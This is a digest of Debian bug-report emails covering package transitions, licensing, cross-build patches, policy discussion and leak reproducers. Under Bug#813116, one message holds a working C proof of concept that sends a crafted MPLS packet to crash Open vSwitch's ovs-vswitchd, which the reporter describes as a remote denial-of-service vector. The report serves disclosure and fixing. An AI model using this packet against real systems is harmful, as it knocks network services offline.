> https://bugs.documentfoundation.org/show_bug.cgi?id=113179

Thanks. Marked as such. So will be fixed whenever that upload happens.
(Also marked as fixed in 1:6.0.0~beta1-1)

Regards,

Rene

Bug#883849: libwebkit2gtk-4.0-37 uninstallable because gst-plugins-bad1.0 is now at 1.12.4

[Sebastian Dröge]

On Fri, 8 Dec 2017 11:17:22 +0100 Emilio Pozuelo Monfort  
wrote:
> On 08/12/17 11:04, Paul Gevers wrote:
> > Package: libwebkit2gtk-4.0-37
> > Version: 2.18.3-1
> > Severity: grave
> > Justification: renders package unusable
> > 
> > While trying to build a new version of liferea in unstable, I noticed that
> > libwebkit2gtk-4.0-37 is uninstallable due to a newer version of
> > gst-plugins-bad1.0.
> > 
> > libwebkit2gtk-4.0-37 Depends libgstreamer-plugins-bad1.0-0 (<< 1.12.4)
> 
> Just a small transition, fixed with:
> 
> emilio@tatooine:~$ wb nmu gnome-dvb-daemon gstreamer-vaapi webkit2gtk . ANY .
> unstable . -m 'Rebuild against gst-plugins-bad1.0 1.12.4.'

Please make sure to rebuild against 1.12.4-2. Then we won't have the
same problem again for 1.12.5, but only once 1.13/1.14 is there.

signature.asc
Description: This is a digitally signed message part

Bug#883849: libwebkit2gtk-4.0-37 uninstallable because gst-plugins-bad1.0 is now at 1.12.4

[Emilio Pozuelo Monfort]

On 08/12/17 15:44, Sebastian Dröge wrote:
> On Fri, 8 Dec 2017 11:17:22 +0100 Emilio Pozuelo Monfort  
> wrote:
>> On 08/12/17 11:04, Paul Gevers wrote:
>>> Package: libwebkit2gtk-4.0-37
>>> Version: 2.18.3-1
>>> Severity: grave
>>> Justification: renders package unusable
>>>
>>> While trying to build a new version of liferea in unstable, I noticed that
>>> libwebkit2gtk-4.0-37 is uninstallable due to a newer version of
>>> gst-plugins-bad1.0.
>>>
>>> libwebkit2gtk-4.0-37 Depends libgstreamer-plugins-bad1.0-0 (<< 1.12.4)
>>
>> Just a small transition, fixed with:
>>
>> emilio@tatooine:~$ wb nmu gnome-dvb-daemon gstreamer-vaapi webkit2gtk . ANY .
>> unstable . -m 'Rebuild against gst-plugins-bad1.0 1.12.4.'
> 
> Please make sure to rebuild against 1.12.4-2. Then we won't have the
> same problem again for 1.12.5, but only once 1.13/1.14 is there.

That's hard when there's no 1.12.4-2 in the archive yet and I already scheduled
those binNMUs earlier today :P

Emilio

Bug#883407: libc6: getpwnam_r() leaks memory

[Tim Rühsen]

On Tue, 5 Dec 2017 19:17:42 +0100 Aurelien Jarno 
wrote:
> It's not something I can reproduce here, but getpwnam_r can behave very
> differently depending on the nss configuration your system. A small
> reproducer and the content of /etc/nsswitch.conf would definitely help.
> 
> That said libc6 version 2.25-3 included security fixes and memory leak
> fixes for the glob function. Can you confirm the version you used, and
> if it's really 2.25-3 try with version 2.25-2 which is still in testing.
Here we have a reproducer (assuming the there is no user 'O' on system).

#include 
#include 
int main(void)
{
struct passwd *p;
char tmp[1024];
struct passwd pw;

getpwnam_r("O", &pw, tmp, sizeof(tmp), &p);
return 0;
}

Build/compile/reproduce:
gcc -g x.c -o x
valgrind --leak-check=full ./x


Here is a reproducer using glob():

#include 
#include 
int main(void)
{
glob_t pglob;
if (glob("~O", GLOB_TILDE, NULL, &pglob) == 0) {
globfree(&pglob);
}
return 0;
}

Build/compile/reproduce:
gcc -g x.c -o x
valgrind --leak-check=full ./x


Regards, Tim




signature.asc
Description: OpenPGP digital signature

Bug#883849: libwebkit2gtk-4.0-37 uninstallable because gst-plugins-bad1.0 is now at 1.12.4

[Sebastian Dröge]

On Fri, 2017-12-08 at 15:59 +0100, Emilio Pozuelo Monfort wrote:
> On 08/12/17 15:44, Sebastian Dröge wrote:
> > On Fri, 8 Dec 2017 11:17:22 +0100 Emilio Pozuelo Monfort  > ian.org> wrote:
> > > On 08/12/17 11:04, Paul Gevers wrote:
> > > > Package: libwebkit2gtk-4.0-37
> > > > Version: 2.18.3-1
> > > > Severity: grave
> > > > Justification: renders package unusable
> > > > 
> > > > While trying to build a new version of liferea in unstable, I
> > > > noticed that
> > > > libwebkit2gtk-4.0-37 is uninstallable due to a newer version of
> > > > gst-plugins-bad1.0.
> > > > 
> > > > libwebkit2gtk-4.0-37 Depends libgstreamer-plugins-bad1.0-0 (<<
> > > > 1.12.4)
> > > 
> > > Just a small transition, fixed with:
> > > 
> > > emilio@tatooine:~$ wb nmu gnome-dvb-daemon gstreamer-vaapi
> > > webkit2gtk . ANY .
> > > unstable . -m 'Rebuild against gst-plugins-bad1.0 1.12.4.'
> > 
> > Please make sure to rebuild against 1.12.4-2. Then we won't have
> > the
> > same problem again for 1.12.5, but only once 1.13/1.14 is there.
> 
> That's hard when there's no 1.12.4-2 in the archive yet and I already
> scheduled those binNMUs earlier today :P

That's disappointing, why don't you have a time-machine? :)

Oh well, next time then!

signature.asc
Description: This is a digitally signed message part

Bug#883731: audacious: Debian packaging has incorrect license

[John Lindgren]

Nicholas D Steeves wrote:

> Both BSD 3-clause and BSD 2-clause allow relicensing as GPL, thus so
> long as the licensing terms are complied with correctly BSD code can
> perpetually and unidirectionally flow to GPL projects.

Yes, I agree.  It's perfectly okay for the Debian package(s) to be
distributed as GPL, *as long as* the original BSD license text is still
retained.

> I'm also unsure whether the patch
> that changes the user-visible bits and the out-of-date
> debian/copyright outweigh the 2-clause license that wasn't stripped
> from the headers of various files.

Speaking for myself as upstream project lead, I'm not worried about
the legal status of already-built packages, but I would prefer that the
upstream (BSD 2-clause) license remain user-visible in future Debian
builds.  The simplest way to achieve this would be to remove
use-system-licenses.patch and let the GUI again display
/usr/share/audacious/COPYING as the upstream version does.

Alternatively, debian/copyright could be updated to include the full
text of the upstream license, plus any Debian-specific bits (packaging
copyrights, etc.), and the patch could be updated so that the GUI
displays the installed version of that file instead (I think that would
be /usr/share/doc/audacious/copyright?)

Francesco Poli wrote:

> The Audacious upstream developers may be willing to help, by clarifying
> any doubts upon request.

Yes, for sure.

> If that is deemed to be needed or useful, it could be feasible to also
> fix the debian/copyright file for audacious version 3.7.2 in a Debian
> stable update (and possibly also address the same issue for
> oldstable)... On the other hand, this extra effort could perhaps be
> considered not worth doing.

For my part, I'm not worried about the stable+oldstable packages being
fixed, only that the problem is resolved in a new unstable upload going
forward.  I think that the other upstream developers would agree.

Thank you both for the prompt reply and good discussion!

John

Bug#883865: binutils FTCBFS: uses build architecture objdump on host objects

[Helmut Grohne]

Source: binutils
Version: 2.29.1-10
Tags: patch
User: helm...@debian.org
Usertags: rebootstrap

Hi Matthias,

I noticed that binutils now fails to cross build from source. I guess
that this was introduced with the dwz change. Simply prefixing the
relevant tools with the host triplet fixes the build.

I took this opportunity to clean up the cross handling in my patch. It
relies on binutils and gcc providing the host triplet symlinks and they
do that in both jessie and trusty, so this should be fine and simplifies
the packaging. Please consider applying the attached patch.

Helmut
diff --minimal -Nru binutils-2.29.1/debian/changelog 
binutils-2.29.1/debian/changelog
--- binutils-2.29.1/debian/changelog
+++ binutils-2.29.1/debian/changelog
@@ -1,3 +1,10 @@
+binutils (2.29.1-10.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTCBFS: Use host tools. (Closes: #-1)
+
+ -- Helmut Grohne   Fri, 08 Dec 2017 15:50:09 +0100
+
 binutils (2.29.1-10) unstable; urgency=medium
 
   * Update, taken from the 2.29 branch 20171201.
diff --minimal -Nru binutils-2.29.1/debian/rules binutils-2.29.1/debian/rules
--- binutils-2.29.1/debian/rules
+++ binutils-2.29.1/debian/rules
@@ -94,7 +94,7 @@
 install_dir= install -d -m 755
 install_file   = install -m 644
 install_script = install -m 755
-install_binary = install -m 755 -s
+install_binary = install -m 755 -s --strip-program="$(STRIP)"
 
 NATIVE_ARCHS ?= amd64 i386 arm64 armhf armel mips mipsel mips64el \
ppc64el s390x
@@ -238,20 +238,13 @@
 
 with_multiarch := yes
 
-CC = gcc
-CXX= g++
 CFLAGS = -g -O2
 CXXFLAGS = -g -O2
 LDFLAGS =
-STRIP  = strip --remove-section=.comment --remove-section=.note
-CROSS :=
-ifneq ($(DEB_BUILD_GNU_TYPE),$(DEB_HOST_GNU_TYPE))
-  CROSS := $(DEB_HOST_GNU_TYPE)-
-  CC   = $(CROSS)gcc
-  CXX  = $(CROSS)g++
-  STRIP= $(CURDIR)/debian/strip.cross
-  install_binary = install -m 755 -s --strip-program="$(STRIP)"
-endif
+CROSS := $(DEB_HOST_GNU_TYPE)-
+CC = $(CROSS)gcc
+CXX= $(CROSS)g++
+STRIP  = $(CROSS)strip --remove-section=.comment --remove-section=.note
 
 ifneq (,$(findstring noopt,$(DEB_BUILD_OPTIONS)))
   CFLAGS = -g -O0
@@ -572,11 +565,6 @@
@mkdir -p stamps
touch $@
 
-debian/strip.cross: debian/strip.cross.in
-   sed -e "s/__TARGET__/$(CROSS)/" \
-   < debian/strip.cross.in >> debian/strip.cross
-   chmod 755 debian/strip.cross
-
 ###
 # single-arch targets #
 ###
@@ -805,7 +793,7 @@
 endif
touch $@
 
-stamps/install.%: stamps/build.% $(if $(CROSS),debian/strip.cross)
+stamps/install.%: stamps/build.%
$(checkdir)
@echo BEGIN $@
rm -rf $(D_CROSS)
@@ -984,7 +972,7 @@
 install_stamps :=
 endif
 install: $(install_stamp)
-stamps/install: checkroot stamps/build $(install_stamps) $(if 
$(CROSS),debian/strip.cross)
+stamps/install: checkroot stamps/build $(install_stamps)
$(checkdir)
 
rm -fr $(d_bin) $(d_com) $(d_lib) $(d_nat) $(d_dev) $(d_mul) $(d_mdev) 
$(d_doc) $(d_src) $(d_bld)
@@ -1218,7 +1206,7 @@
 endif
touch $@
 
-stamps/install-hppa64: checkroot stamps/build-hppa64 $(if 
$(CROSS),debian/strip.cross)
+stamps/install-hppa64: checkroot stamps/build-hppa64
$(checkdir)
 
rm -fr $(d_hppa64)
@@ -1753,23 +1741,23 @@
dwz=usr/lib/debug/.dwz/$(DEB_HOST_MULTIARCH)/$(strip $1).debug; \
dwz -m $(strip $2)-dbg/$$dwz -M /$$dwz \
  $$files; \
-   objcopy --compress-debug-sections $(strip $2)-dbg/$$dwz; \
+   $(CROSS)objcopy --compress-debug-sections $(strip $2)-dbg/$$dwz; \
for i in $$files; do \
- b_id=$$(LC_ALL=C readelf -n $$i | sed -n 's/ *Build ID: 
*\([0-9a-f][0-9a-f]*\)/\1/p'); \
+ b_id=$$(LC_ALL=C $(CROSS)readelf -n $$i | sed -n 's/ *Build ID: 
*\([0-9a-f][0-9a-f]*\)/\1/p'); \
  if [ -z "$$b_id" ]; then \
id=$$(echo $$i | sed -r 's,debian/[^/]+,$2-dbg/usr/lib/debug,'); \
echo strip $$i; \
mkdir -p $$(dirname $$id); \
-   objcopy --only-keep-debug $$i $$id; \
+   $(CROSS)objcopy --only-keep-debug $$i $$id; \
chmod 644 $$id; \
$(STRIP) $$i; \
-   objcopy --add-gnu-debuglink $$id $$i; \
+   $(CROSS)objcopy --add-gnu-debuglink $$id $$i; \
  else \
echo "ID: $${b_id} -> $$(echo $$i | sed 's,$(strip $2),,')"; \
d=usr/lib/debug/.build-id/$${b_id:0:2}; \
f=$${b_id:2}.debug; \
mkdir -p $(strip $2)-dbg/$$d; \
-   objcopy --only-keep-debug --compress-debug-sections $$i $(strip 
$2)-dbg/$$d/$$f; \
+   $(CROSS)objcopy --only-keep-debug --compress-debug-sections $$i 
$(strip $2)-dbg/$$d/$$f; \
chmod 644 $(strip $2)-dbg/$$d/$$f; \
$(STRIP) $$i; \
  fi; \
diff --minimal -Nru binutils-2.29.1/debian/strip.cross.in 
binutils-2.29.1/debian/strip.cross.in
--- binutils-2.29.1/debian/strip.cross.in
+++ binutils-2.29.1/debi

Bug#883864: cccd FTCBFS: uses build architecture compiler and pkg-config

[Helmut Grohne]

Source: cccd
Version: 0.3beta4-7.1
Tags: patch
User: helm...@debian.org
Usertags: rebootstrap

cccd fails to cross build from source, because it hard codes the build
architecture compiler gcc and the build architecture pkg-config. After
making both substitutable, cccd cross builds successfully. Please
consider applying the attached patch.

Helmut
diff --minimal -Nru cccd-0.3beta4/debian/changelog 
cccd-0.3beta4/debian/changelog
--- cccd-0.3beta4/debian/changelog  2012-08-06 11:40:21.0 +0200
+++ cccd-0.3beta4/debian/changelog  2017-12-08 15:53:03.0 +0100
@@ -1,3 +1,10 @@
+cccd (0.3beta4-7.2) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTCBFS: Make tools (gcc, pkg-config) substitutable. (Closes: #-1)
+
+ -- Helmut Grohne   Fri, 08 Dec 2017 15:53:03 +0100
+
 cccd (0.3beta4-7.1) unstable; urgency=low
 
   * Non-maintainer upload.
diff --minimal -Nru cccd-0.3beta4/debian/patches/30_makefile_fixes.patch 
cccd-0.3beta4/debian/patches/30_makefile_fixes.patch
--- cccd-0.3beta4/debian/patches/30_makefile_fixes.patch2012-04-08 
23:23:03.0 +0200
+++ cccd-0.3beta4/debian/patches/30_makefile_fixes.patch2017-12-08 
15:52:42.0 +0100
@@ -1,9 +1,13 @@
 # Various Makefile fixes.
 
 --- cccd-0.3beta4.orig/Makefile
 +++ cccd-0.3beta4/Makefile
-@@ -7,39 +7,42 @@
- CC = gcc
+@@ -4,57 +4,66 @@
+ OTHERS = Makefile CHANGES README TODO README.original BUGREPORT COPYING
+ TARGET = cccd
+ 
+-CC = gcc
++PKG_CONFIG ?= pkg-config
  
  # you may need to change this
 -MAILPROG = "/bin/mail -i"
@@ -17,16 +23,16 @@
 -LDFLAGS = `gtk-config --libs` 
 +
 +
-+MY_CFLAGS = `pkg-config --cflags gtk+-2.0`
++MY_CFLAGS = `$(PKG_CONFIG) --cflags gtk+-2.0`
 +
-+#MY_LDFLAGS = -lefence `pkg-config --libs gtk+-2.0` 
-+MY_LDFLAGS = -L/usr/lib `pkg-config --libs gtk+-2.0` 
++#MY_LDFLAGS = -lefence `$(PKG_CONFIG) --libs gtk+-2.0` 
++MY_LDFLAGS = -L/usr/lib `$(PKG_CONFIG) --libs gtk+-2.0` 
  
  # production flags (no debugging)
 -#CFLAGS = -O2 -Wall `gtk-config --cflags`
 -#LDFLAGS = -s `gtk-config --libs` 
-+#MY_CFLAGS = -O2 -Wall `pkg-config --cflags gtk+-2.0`
-+#MY_LDFLAGS = -s `pkg-config --libs gtk+-2.0` 
++#MY_CFLAGS = -O2 -Wall `$(PKG_CONFIG) --cflags gtk+-2.0`
++#MY_LDFLAGS = -s `$(PKG_CONFIG) --libs gtk+-2.0` 
  
  prefix=/usr/local
  bindir=$(prefix)/bin
@@ -45,7 +51,7 @@
  
  $(TARGET): $(OBJECTS)
 -  gcc -o $(TARGET) $(OBJECTS) $(CFLAGS) $(LDFLAGS)
-+  gcc -o $(TARGET) $(OBJECTS) $(CFLAGS) $(MY_CFLAGS) $(LDFLAGS) 
$(MY_LDFLAGS)
++  $(CC) -o $(TARGET) $(OBJECTS) $(CFLAGS) $(MY_CFLAGS) $(LDFLAGS) 
$(MY_LDFLAGS)
  
  install: $(TARGET)
mkdir -p $(bindir)
@@ -57,7 +63,10 @@
@echo "Please read the README for additional installation hints"
  
  static:   $(OBJECTS)
-@@ -49,12 +52,18 @@
+ # gcc -o $(TARGET).static $(OBJECTS) -L/usr/lib -L/usr/X11R6/lib 
-Wl,-Bstatic  -lgtk -lgdk -lglib -Wl,-Bdynamic -lXext -lX11 -lm
+-  gcc -static -o $(TARGET).static $(OBJECTS) -L/usr/lib -L/usr/X11R6/lib  
-lgtk -lgdk -lglib -lXext -lX11 -lm
++  $(CC) -static -o $(TARGET).static $(OBJECTS) -L/usr/lib 
-L/usr/X11R6/lib  -lgtk -lgdk -lglib -lXext -lX11 -lm
+ 
  clean:
rm -rf core *.o $(TARGET)
  

Bug#459427: changelog vs. NEWS handling

[Peter Eisentraut]

On 12/1/17 11:19, Ian Jackson wrote:
> Is there some reason why exacdt standardisation of the filenames is
> necessary here ?  For most of the uses I can think of, it is OK to
> look in a handful of files to see which one might answer the question.

I wrote the bug originally.

My goal was simply to get more packages to ship release notes (NEWS),
and optionally, to get fewer packages to ship useless source-level
changelogs.

A policy adjustment can help that a bit because that also influences
things like debhelper and a lot of packages just use that without much
further thought.

Bug#883756: dbus-user-session: blocks upgrades; installing dbus-user-session yields a change of the init system

[Vincent Lefevre]

On 2017-12-08 11:22:02 -0300, Felipe Sateler wrote:
> On Thu, Dec 7, 2017 at 10:03 PM, Vincent Lefevre  wrote:
> > On 2017-12-07 18:08:47 +, Simon McVittie wrote:
> >> The recommendation should ideally be something like
> >> "dbus-user-session | NOT(booted using systemd)", but we don't have the
> >> syntax to express that.
> >
> > How about a new package pulseaudio-no-systemd and a Recommends on
> > "dbus-user-session | pulseaudio-no-systemd"? This package would
> > do almost nothing. It could possibly change the configuration to
> > re-enable autospawn.
> 
> It would be weird to have two snippets installed, one that enables and
> the other disables pulseaudio.

Yes. But shouldn't the default be no-autospawn? Then the
/etc/pulse/client.conf.d/00-disable-autospawn.conf config file
would no longer be needed, and pulseaudio-no-systemd would just
add a config file to enable autospawn.

> > The very few users who boot using systemd but without systemd-sysv
> > would have to force an install of dbus-user-session anyway. So the
> > Recommends would be satisfied with just dbus-user-session for them.
> 
> I'm not sure I fully sympathize with the want to have all recommends
> fulfilled (after all, they are "weak" depends precisely to be able to
> break them!).

Even though they are "weak" depends, Debian tools may assume that
they are all fulfilled. For instance, "apt-get -f install" may
install Recommends that were never asked in the first place; see
the following bug (closed without a fix):

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=489896

More generally, having all Recommends fulfilled and not installing
Recommends by default (--no-install-recommends / APT::Install-Recommends
set to no) do not yield issues with Debian tools, but if one chooses to
install Recommends by default and break some of them, things do not get
so well...

> But I don't want to make it unnecessarily difficult either. I'm open
> to suggestions to improve the current situation, but they must
> fulfill the following properties:
> 
> 1. It should use the systemd --user manager by default
> 1b. We should keep a single place to disable, which would be the
> systemd --user manager, and thus autospawn needs to be disabled by
> default.
> 2. This configuration should not be changed unless explicitly chosen
> by the admin/user.

pulseaudio-no-systemd could also just ask the user whether he wants
to enable autospawn.

But you could also see autospawn as being the default configuration
for sysvinit (where pulseaudio-no-systemd would be installed by
default). Thus it would not really be a change.

Alternatively, couldn't the PulseAudio client library be smarter,
i.e. be able to know whether it should autospawn or not by default,
without the need of a configuration file?

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Bug#883866: pluma: Pluma no longer shows correct list of recently used files

[G. Heine]

Package: pluma
Version: 1.18.3-2
Severity: normal

Dear Maintainer,

starting with version 1.18.3 Pluma no longer displays a correct list of
recently used files in the dropdown menu.
It always shows the same five files from the day 1.18.2 was updated to 1.18.3,
only changing the order amongst them. Files more recently created, opened or
changed with Pluma are not shown. This does not depend on whether the file
appears in the recently used category of the open-dialog or (for reasons
unbeknownst to me) is not shown there either.

Regards
G. Heine



-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (700, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), 
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages pluma depends on:
ii  iso-codes   3.77-1
ii  libatk1.0-0 2.26.0-2
ii  libc6   2.25-2
ii  libcairo-gobject2   1.15.8-2
ii  libcairo2   1.15.8-2
ii  libenchant1c2a  1.6.0-11.1
ii  libgdk-pixbuf2.0-0  2.36.11-1
ii  libgirepository-1.0-1   1.54.1-2
ii  libglib2.0-02.54.1-1
ii  libgtk-3-0  3.22.24-2
ii  libgtksourceview-3.0-1  3.24.5-1
ii  libice6 2:1.0.9-2
ii  libpango-1.0-0  1.40.12-1
ii  libpangocairo-1.0-0 1.40.12-1
ii  libpeas-1.0-0   1.22.0-1
ii  libsm6  2:1.2.2-1+b3
ii  libx11-62:1.6.4-3
ii  libxml2 2.9.4+dfsg1-5
ii  mate-desktop-common 1.18.0-1
ii  pluma-common1.18.3-2

Versions of packages pluma recommends:
ii  zenity  3.26.0-1

pluma suggests no packages.

-- no debconf information

Bug#883849: libwebkit2gtk-4.0-37 uninstallable because gst-plugins-bad1.0 is now at 1.12.4

[Emilio Pozuelo Monfort]

On 08/12/17 16:13, Sebastian Dröge wrote:
> On Fri, 2017-12-08 at 15:59 +0100, Emilio Pozuelo Monfort wrote:
>> On 08/12/17 15:44, Sebastian Dröge wrote:
>>> On Fri, 8 Dec 2017 11:17:22 +0100 Emilio Pozuelo Monfort >> ian.org> wrote:
 On 08/12/17 11:04, Paul Gevers wrote:
> Package: libwebkit2gtk-4.0-37
> Version: 2.18.3-1
> Severity: grave
> Justification: renders package unusable
>
> While trying to build a new version of liferea in unstable, I
> noticed that
> libwebkit2gtk-4.0-37 is uninstallable due to a newer version of
> gst-plugins-bad1.0.
>
> libwebkit2gtk-4.0-37 Depends libgstreamer-plugins-bad1.0-0 (<<
> 1.12.4)

 Just a small transition, fixed with:

 emilio@tatooine:~$ wb nmu gnome-dvb-daemon gstreamer-vaapi
 webkit2gtk . ANY .
 unstable . -m 'Rebuild against gst-plugins-bad1.0 1.12.4.'
>>>
>>> Please make sure to rebuild against 1.12.4-2. Then we won't have
>>> the
>>> same problem again for 1.12.5, but only once 1.13/1.14 is there.
>>
>> That's hard when there's no 1.12.4-2 in the archive yet and I already
>> scheduled those binNMUs earlier today :P
> 
> That's disappointing, why don't you have a time-machine? :)
> 
> Oh well, next time then!

Well, since we'll need them again for 1.12.5, I might as well do it now (once
1.12.4-2 builds). Thanks for loosening the dependency btw!

Emilio

Bug#459427: changelog vs. NEWS handling

[Ian Jackson]

Peter Eisentraut writes ("Re: Bug#459427: changelog vs. NEWS handling"):
> On 12/1/17 11:19, Ian Jackson wrote:
> > Is there some reason why exacdt standardisation of the filenames is
> > necessary here ?  For most of the uses I can think of, it is OK to
> > look in a handful of files to see which one might answer the question.
> 
> I wrote the bug originally.
> 
> My goal was simply to get more packages to ship release notes (NEWS),
> and optionally, to get fewer packages to ship useless source-level
> changelogs.

Those seem good goals.

> A policy adjustment can help that a bit because that also influences
> things like debhelper and a lot of packages just use that without much
> further thought.

Indeed.

I think that means you are answering "no" to the question I posed
above ?  I think we are moving towards a form of words that would
achieve your goals without requiring a lot of work to 100% standardise
on the filenames.

Ian.

-- 
Ian JacksonThese opinions are my own.

If I emailed you from an address @fyvzl.net or @evade.org.uk, that is
a private address which bypasses my fierce spamfilter.

Bug#459427: changelog vs. NEWS handling

[Bill Allombert]

On Fri, Dec 08, 2017 at 10:29:50AM -0500, Peter Eisentraut wrote:
> On 12/1/17 11:19, Ian Jackson wrote:
> > Is there some reason why exacdt standardisation of the filenames is
> > necessary here ?  For most of the uses I can think of, it is OK to
> > look in a handful of files to see which one might answer the question.
> 
> I wrote the bug originally.
> 
> My goal was simply to get more packages to ship release notes (NEWS),
> and optionally, to get fewer packages to ship useless source-level
> changelogs.
> 
> A policy adjustment can help that a bit because that also influences
> things like debhelper and a lot of packages just use that without much
> further thought.

The issue is that dh_installchangelogs cannot easily detect if a
changelog is a VCS changelog and whether a NEWS is actually a changelog.

The only reasonable thing dh_installchangelogs can do is to install
everything that looks like a changelog or a NEWS file.

However, I am concerned that having dh_installchangelogs removing files will
lead to less predictability.

Cheers,
-- 
Bill. 

Imagine a large red swirl here. 

Bug#813116: /usr/sbin/ovs-vswitchd: segfault when push_mpls flow action is applied

[Ferenc Wágner]

Control: tag -1 + security

Simple reproducer attached.
This is a remote DoS vector in jessie, so adding the security tag.
-- 
Thanks,
Feri

/* ovs-vsctl add-br ovsbr
 * then this crashes ovs-vswitchd (which restarts automatically)
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

static const unsigned char pkt1[64] = {
0x8c, 0x60, 0x4f, 0x03, 0x9c, 0xc1, 0x20, 0x1a,
0x06, 0x9a, 0xa0, 0x3c, 0x81, 0x00, 0x03, 0x21,
0x88, 0x47, 0x00, 0x06, 0x91, 0xff, 0x45, 0x00,
0x00, 0x28, 0xa0, 0x86, 0x00, 0x00, 0xfe, 0x06,
0xd1, 0xef, 0xc3, 0x6f, 0x61, 0xc8, 0xc3, 0x6f,
0x61, 0xb2, 0xec, 0x8a, 0x02, 0x86, 0x66, 0x1b,
0x5b, 0xd8, 0x52, 0x02, 0x42, 0xc0, 0x50, 0x10,
0xc0, 0x00, 0x5f, 0xb3, 0x00, 0x00, 0x00, 0x00
};

int main (void) {
  struct ifreq ifr;
  int fd, err;
  const char *clonedev = "/dev/net/tun";

  if ((fd = open (clonedev, O_RDWR)) < 0) {
perror ("open clonedev");
return fd;
  }
  memset (&ifr, 0, sizeof ifr);

  ifr.ifr_flags = IFF_TAP;
  strncpy (ifr.ifr_name, "killer", IFNAMSIZ);

  if ((err = ioctl (fd, TUNSETIFF, &ifr)) < 0) {
perror ("TUNSETIFF");
close (fd);
return err;
  }

  err = system ("ovs-vsctl add-port ovsbr killer && ip link set killer up");
  printf ("Port added: %d\nPress Enter\n", err);
  fread (&err, 1, 1, stdin);

  err = write (fd, pkt1, sizeof pkt1);
  printf ("Packet written: %d bytes\nPress Enter\n", err);
  fread (&err, 1, 1, stdin);

  system ("ovs-vsctl del-port ovsbr killer");
}

Bug#883867: RFP: bookworm -- simple, focused eBook reader

[Francesco Poli (wintermute)]

Package: wnpp
Severity: wishlist

* Package name: bookworm
  Version : 0.9.1
  Upstream Author : Siddhartha Das 
* URL : https://babluboy.github.io/bookworm/
* License : GPL-3+
  Programming Lang: Vala
  Description : simple, focused eBook reader

 Read the books you love without having to worry about the different
 format complexities.
 The current version of Bookworm (v0.9) supports eBooks in the
 following file formats: EPUB, PDF, MOBI, CBR, CBZ.
 .
 Key features for library management and reading in Bookworm:
 1. Toggle between a grid view and a list view for the library.
Sort, filter, and edit metadata.
 2. Easy, simple layout to read books. Three reading profiles.
Bookmarks. Full screen mode.
 3. Info button to access information about contents, bookmarks,
search results.
 4. Customization of cache, library view, font family, reading
profiles, directories to watch.


Other relevant information:

I think this package may be useful, because fbreader risks being
removed from Debian (see bug #874867): when this happens, we risk
being left without a simple lightweight e-book reader in Debian
(I've considered calibre, but it seems to be a huge package with
countless dependencies, which would bloat my systems with hundreds
of megabytes of extra packages). Bookworm looks like a possible
alternative to FBReader.

Please note that there seems to be a (somewhat outdated, I should
say) PPA for Ubuntu:
https://launchpad.net/~bookworm-team/+archive/ubuntu/bookworm
I am not sure whether this may be a starting point for the Debian
package.

I hope someone is willing to package Bookworm for Debian.
Thanks a lot to anyone who steps in!

Bye.

Bug#883868: gdis FTCBFS: uses the build architecture pkg-config

[Helmut Grohne]

Source: gdis
Version: 0.90-5
Tags: patch
User: helm...@debian.org
Usertags: rebootstrap

gdis fails to cross build from source, because it uses the build
architecture pkg-config and thus fails finding glib, which is only
requested for the host architecture. After making pkg-config
substitutable, gdis cross builds successfully. Please consider applying
the attached patch.

Helmut
diff --minimal -Nru gdis-0.90/debian/changelog gdis-0.90/debian/changelog
--- gdis-0.90/debian/changelog  2013-08-06 15:19:27.0 +0200
+++ gdis-0.90/debian/changelog  2017-12-08 17:12:36.0 +0100
@@ -1,3 +1,10 @@
+gdis (0.90-5.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTCBFS: Make pkg-config substitutable (closes: #-1).
+
+ -- Helmut Grohne   Fri, 08 Dec 2017 17:12:36 +0100
+
 gdis (0.90-5) unstable; urgency=low
 
   * debian/control (DM-Upload-Allowed): Dropped.
diff --minimal -Nru gdis-0.90/debian/patches/debian_make.patch 
gdis-0.90/debian/patches/debian_make.patch
--- gdis-0.90/debian/patches/debian_make.patch  2013-08-06 15:19:17.0 
+0200
+++ gdis-0.90/debian/patches/debian_make.patch  2017-12-08 17:12:31.0 
+0100
@@ -4,11 +4,12 @@
 
 --- /dev/null
 +++ b/makefile.debian
-@@ -0,0 +1,19 @@
+@@ -0,0 +1,20 @@
++PKG_CONFIG ?= pkg-config
 +CFLAGS ?= -g -Wall -O2
 +
-+override CFLAGS += `pkg-config --cflags gtk+-2.0 gthread-2.0 gtkglext-1.0 
gmodule-2.0`
-+override LDLIBS += `pkg-config --libs gtk+-2.0 gthread-2.0 gtkglext-1.0 
gmodule-2.0` -lm
++override CFLAGS += `$(PKG_CONFIG) --cflags gtk+-2.0 gthread-2.0 gtkglext-1.0 
gmodule-2.0`
++override LDLIBS += `$(PKG_CONFIG) --libs gtk+-2.0 gthread-2.0 gtkglext-1.0 
gmodule-2.0` -lm
 +
 +USE_GUI = YES
 +override CFLAGS += -DWITH_GUI

Bug#878839: optipng: moved to delayed/0

[Salvatore Bonaccorso]

Hi Emmanuel

I perfectly realize it's not conforming to the NMU rules, so if that
made you unhappy I apologies for it. I moved the optipng upload from
delayed/5 to delayed/0 since was planing a security update, and the
point release happening this weekend would imply stretch-version <
sid-version. So opted for moving the upload faster.

Regards,
Salvatore

Bug#874867: [fbreader] Future Qt4 removal from Buster

[Francesco Poli]

On Sun, 26 Nov 2017 20:38:58 +0100 Eugene V. Lyubimkin wrote:

[...]
> This is what I plan to do if nobody steps and as new Debian and/or
> upstream maintainer:
> 
> 1. When Qt4 is removed from Debian, libzlui-qt4 (Qt4 back-end for fbreader) 
> will
> go away. Fbreader will remain usable with libzlui-gtk (GTK2 back-end).
> 
> 2. When GTK2 is removed from Debian, fbreader will be removed from Debian.

Dear Eugene,
first off, I would like to thank you for being clear and explicit about
your plans. It is always better, when things are explained.


I suppose you no longer user FBReader, nowadays.
I wonder: what alternative e-book reader are you currently using?

